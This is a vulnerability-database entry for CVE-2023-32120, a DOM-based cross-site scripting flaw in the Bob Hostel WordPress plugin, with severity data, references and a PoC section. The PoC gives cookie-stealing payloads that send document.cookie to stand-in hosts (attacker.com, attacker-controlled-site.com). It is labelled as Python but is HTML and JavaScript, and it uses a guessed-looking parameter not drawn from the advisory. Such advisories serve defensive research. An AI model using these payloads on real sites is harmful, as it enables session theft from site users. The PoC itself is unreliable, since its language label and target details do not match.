CVE-2023-32120

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Bob Hostel allows DOM-Based XSS.This issue affects Hostel: from n/a through 1.1.5.1.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Bob Hostel WordPress Plugin <= 1.1.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2023-32120 DOM-Based XSS PoC -->
<!-- 攻击者构造恶意URL，诱骗高权限用户访问 -->

<!-- 恶意Payload示例 -->
<script>alert(document.cookie)</script>

<!-- 实际利用场景 -->
<!-- 攻击者构造包含XSS Payload的URL -->
<!-- https://target-site.com/?param=<img src=x onerror=alert(document.domain)> -->
<!-- 或通过修改DOM元素的innerHTML触发 -->

<!-- 完整的攻击URL示例 -->
<!-- https://vulnerable-site.com/hostel-page/?check_in=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> -->

<!-- 窃取Cookie的JavaScript代码 -->
var cookies = document.cookie;
var img = new Image();
img.src = 'https://attacker-controlled-site.com/log?cookie=' + encodeURIComponent(cookies);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-32120
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-32120
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-32120/
[4] VulDB https://vuldb.com/cve/CVE-2023-32120
[5] https://vdp.patchstack.com/database/wordpress/plugin/hostel/vulnerability/wordpress-hostel-plugin-1-1-5-1-cross-site-scripting-xss?_s_id=cve

Raw JSON Data

JSON

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